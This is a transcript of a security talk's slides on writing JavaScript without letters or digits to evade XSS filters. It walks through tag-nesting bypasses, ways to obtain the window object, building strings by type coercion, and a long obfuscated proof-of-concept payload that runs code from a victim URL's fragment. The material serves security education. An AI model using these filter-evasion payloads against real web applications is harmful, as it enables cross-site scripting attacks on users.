Writing java script without numbers or letters

32
The Great JavaScript wall.

Transcript of Writing java script without numbers or letters

The Great JavaScript wall.

 But the condition is you can't use

numbers or letters

⦿Real life scenario: XSS filter blocks alphanumeric. ⦿Can defeat XSS filters. ⦿May not be easily detected ⦿The smartest answer is simply because we can.

$ whoami  

$ Nahidul Kibria @nahidupa  

Synack Red Team,

Co-Leader, OWASP Bangladesh Chapter,

Principal Software Engineer - Orbitax Bangladesh Ltd.

Writing code for fun and food. Security enthusiastic.

HTML and JavaScript are live side by side So if user insert malicious JavaScript that will

execute in client side

Request:http://www.example.com/?name=<script>alert('XSS')</script>Response:<html><body><p>Hello <script>alert('XSS')</script></p></body></html>

⦿ ASP.NET built-in protection.⦿ Microsoft Anti XSS.⦿ Anti Samy ⦿ Mod security⦿ Angular $sanitize

⦿ Script tags• <script src="http://www.example.com/xss.js">

⦿ Event handler attributes• <body onload="alert('XSS')">

⦿ CSS• <p style="background:url('javascript:alert(1)')">

⦿ URLs• <img src="javascript:alert('XSS')">

⦿ • String matching filters

⦿ • HTML DOM parsers

⦿ • Canonicalization

⦿ • Whitelisting

Remove all script tags:

s/<script>//g;

Bypasses:

▪ Invalid HTML accepted by browsers

▪ Encoding of attribute values and URLs

▪ Using the filter against itself:

▪ <scr<script>ipt>

▪ Incomplete blacklists

<body onload="alert(1)"><script>alert(2)</script><p>Hello</p></body>

⦿ Getting window reference.⦿ Directly ‘window’ are blacklisted in XSS filter.⦿ Why we are interest in ‘window’⦿ Window reference give you more opportunity.

Like ⦿ Open popup⦿ Redirect “window.location”⦿ Read write window title and a lots

⦿ //all browsers ⦿ window;⦿ self;⦿ open().opener;⦿ Date.constructor('return this')()⦿ document.documentElement.ownerDocument.defaul

tView⦿ x=''.split,x(null)⦿ __proto__.__parent_⦿ (function(){}).__proto__.__parent__

Numbers or letters not allowed

⦿ So we first try to get a window reference .⦿ Then for POC just show a window.alert(1)⦿ Lets try to write code x=[].sort,so x(1);

Any Idea?

⦿ Variables name can be Unicode or certain symbols• _ , $, ٥, ੫, ੪, ૨, ୩, ୫, ୬, ୯ etc..

⦿ Dynamically weak type,can freely type convert • var x=+'2'; //string • x= x+1; //x!3 //integer

⦿ arrays and objects become strings in concatenations • x=[1]+[true] //x ! '1true'• x=1+true // x ! 2

⦿ strings can be treated as arrays of letters • x='test' //x[0] ! 't‘ x[1] ! 'e' x[2] ! 's' x[3] ! 't'

⦿ Array notation can be used for methods/properties • x=window['alert'];   //x(1) ! window

!0 ! true!1 ! false!'anystring' ! false!'' ! true![] ! false!{} ! false

+false ! 0+true ! 1+'' ! 0+'any' ! NaN+[] ! 0+{} ! NaN ''+false ! 'false‘'+true ! 'true‘''+{} ! '[object object]'

❑+[]==+’’==0❑var °=+[]; // °==0

❑a=++º ; //a == 1 ,º == 1

❑b=º++; //b == 1 ,º == 2

❑c=º;  //c == 2;

❑d=º/º; //d == 1

❑e=-º ; //e == -2

❑f=~º ; //f == -3

❑g=º*º; //g == 4

var _='';//!_==true ,{} =[object object] ➢Ø=!_+{}; // Ø =='true[object object]'➢f=!Ø+_; //f=='false‘➢º=+_; //º==0

❑Ţ=Ø[º]; // Ţ=='t'

❑ℝ=Ø[++º]; //ℝ=='r' º==1

❑Ŝ=f[º+++º]; //Ŝ==s, º==2

❑Ò=Ø[º+++º] // Ò == 'o' º==3

var _='';//!_==true ,{} =[object object] ➢Ø=!_+{}; // Ø =='true[object object]'➢f=!Ø+_; //f=='false‘➢º=+_; //º==0

❑Ţ=Ø[º]; // Ţ=='t'

❑ℝ=Ø[++º]; //ℝ=='r' º==1

❑Ŝ=f[º+++º]; //Ŝ==s, º==2

❑Ò=Ø[º+++º] // Ò == 'o' º==3

❑ Ŝ+Ò+ ℝ+Ţ=='sort‘

❑ [][Ŝ+Ò+ ℝ+Ţ]==[].sort

❑ [a=1,b=1] [Ŝ+Ò+ ℝ+Ţ]==[].sort

❑ [_='', Ø=!_+{}, f=!Ø+_, º=+_, Ţ=Ø[º], ℝ=Ø[++º], Ŝ=f[º++º], Ò=Ø[º++º] ] [Ŝ+Ò+ ℝ+Ţ]==[].sort

❑ so we have window now what?❑ To get eval we need a "v" ' '+([].sort)->'function sort(){native code] }'❑ But getting some letters can be difficult perhaps even

impossible. ❑ true,false and object  only provide 12 letters ❑ ''+1/0->Infinity' //gives 'n'❑ /./['constructor'] //Gives 'p'❑String.formCharCode requres an 'h','c'

❑ What if we could load code from elsewhere?❑window.name❑ location.hash

❑ Window.name='alert(1)'❑ window['eval'](window['name'])

❑ window.name='javascript:alert(1)'❑ window[location']=window['name']❑ By the way getting 'm' can take a lot code

❑ http://url/#javascript:aler(1)❑ window['location']=window[location']['hash']❑ but getting hash require 'h'

❑ æ=window,_='location❑ http://url/#javascript:alert(1)

æ[_]=æ['eval']('/*'+æ[_])❑ http://uri/#*/alert(1)//eval

æ[_]=æ[($='/*'+æ[_])['slice'](-4)]($)

❑ In firefox Only executing alert(1)❑  ❑ first idea : 472 character ❑ latest entry: 63 character❑  ❑ first for arbitrary code no btoa : 154❑ latest for arbitrary code no btoa 103❑  ❑ first arbitrary code cross browser 240❑ latest arbitrary code cross browser 160 

❑ So far we have assign variables and used Unicode character look like letters.

❑ but if we build each part of string from scratch we don't even need variables names.

❑ what's the smallest set of characters required to execute arbitrary javascript?

❑ First attempt 8 characters: []+,!()/❑ ([],[][(![]+[])[!![]+!![]+!![]]+(/,/[(!![]+[])[+![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])

[+!![]]+(!![]+[])[+![]]])()[(!![]+[])[!![]+!![]+!![]]+(/,/[(!![]+[])[+![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+[]+(!![]+!![]+!![]+!![]+!![]+!![]+!![])]+(![]+[])[+!![]]+(![]+[])[!![]+!![]]](([]+([],[][(![]+[])[!![]+!![]+!![]]+(/,/[(!![]+[])[+![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+![]]])()[(![]+[])[!![]+!![]]+(/,/[(!![]+[])[+![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(/,/[(!![]+[])[+![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]+([][+[]]+[])[!![]+!![]+!![]+!![]+!![]]+(/,/[(!![]+[])[+![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][+[]]+[])[+!![]]])[(![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]]+([][+[]]+[])[!![]+!![]+!![]+!![]+!![]]+(/,/[(!![]+[])[+![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]]]((+!![]/+([]+(+!![])+(+!![])+(+!![])+(+!![])+(+!![])+(+!![])+(+!![]))+[])[(+!![])+[]+(!![]+!![]+!![]+!![]+!![]+!![]+!![])]+(!![]+!![]))+([],[][(![]+[])[!![]+!![]+!![]]+(/,/[(!![]+[])[+![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+![]]])()[(![]+[])[!![]+!![]]+(/,/[(!![]+[])[+![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+(/,/[(!![]+[])[+![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+![]]+([][+[]]+[])[!![]+!![]+!![]+!![]+!![]]+(/,/[(!![]+[])[+![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+![]]]+[])[!![]+!![]+!![]+!![]+!![]+!![]]+([][+[]]+[])[+!![]]])

 Execute: eval((''+location).slice(-2)+location)Use with : http://www.victim.com/#"alert(1)//"

⦿ Reduced 7 character sets: []+,!()

6 character sets:❑ []+!()❑ []+=()❑ []+=/_⦿ and that’s the wall 

• always require []+• Allows you to generate undefined,Infinity.NaN

Learn from Internet...Some real masters are 

joey TysonGareth HeyesLeverOneDavid Lindsay

⦿ If you have no question

Thanks